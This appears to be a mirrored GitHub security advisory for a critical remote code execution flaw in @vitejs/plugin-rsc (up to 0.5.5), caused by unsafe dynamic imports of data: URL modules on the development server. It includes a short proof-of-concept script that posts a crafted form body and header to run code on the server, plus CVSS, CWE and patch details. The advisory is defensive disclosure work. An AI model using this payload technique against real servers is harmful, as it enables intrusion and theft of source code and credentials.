@vitejs/plugin-rsc Remote Code Execution through unsafe dynamic imports in RSC server function APIs on development server

Description

Summary

Arbitrary Remote Code Execution on development server via unsafe dynamic imports in @vitejs/plugin-rsc server function APIs (loadServerAction, decodeReply, decodeAction) when integrated into RSC applications that expose server function endpoints.

Impact

Attackers with network access to the development server can execute arbitrary JavaScript code with Node.js privileges, allowing them to read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using vite --host to expose the server on all network interfaces.

Details

In the example RSC application provided in Proof of Concept, the server handles server function call through API such as loadServerAction, decodeReply, decodeAction with http request's header and body as inputs:

https://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/examples/starter/src/framework/entry.rsc.tsx#L42-L47

During development, these API internally relies on dynamic import to load server function module, which allows executing arbitrary module including data url module.

https://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/src/rsc.tsx#L19-L24

Proof of Concept

The example app is avialable in
- https://github.com/vitejs/vite-plugin-react/tree/main/packages/plugin-rsc/examples/starter
- https://stackblitz.com/edit/github-rubfqp9k?file=poc.js

Reproduction Steps:

  • Stat development server vite dev
  • Run a following script node poc.js
  • See "REMOTE CODE EXECUTION1" and "REMOTE CODE EXECUTION2" in server console
// [poc.js]
const payload = {
  0: ["$F1"],
  1: { id: "data:text/javascript,console.log('REMOTE CODE EXECUTION 1')# " },
};
const fd = new FormData();
for (const key in payload) {
  fd.append(key, JSON.stringify(payload[key]));
}

const serverUrl = process.argv[2] || 'http://localhost:5173/_.rsc';
const response = fetch(serverUrl, {
  method: "POST",
  headers: {
    "x-rsc-action": "data:text/javascript,console.log('REMOTE CODE EXECUTION 2')# ",
  },
  body: fd,
})

Basic information

Type
reviewed
Severity
critical
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2025-12-08 22:16:31 UTC
Updated
2025-12-10 00:38:38 UTC
GitHub reviewed
2025-12-08 22:16:31 UTC
NVD published
2025-12-09

EPSS Score

Score Percentile
0.56% 68.18%

CVSS Scores

Base score Version Severity Vector
9.8 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:H)
Could take the service down hard or make it unusable for people who depend on it.

Identifiers

CWEs

CWE id Name
CWE-94 Improper Control of Generation of Code ('Code Injection')

Credits

  • xdavidhu (reporter)
  • Ry0taK (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
npm @vitejs/plugin-rsc <= 0.5.5 0.5.6

References

cvelogic Threat Intelligence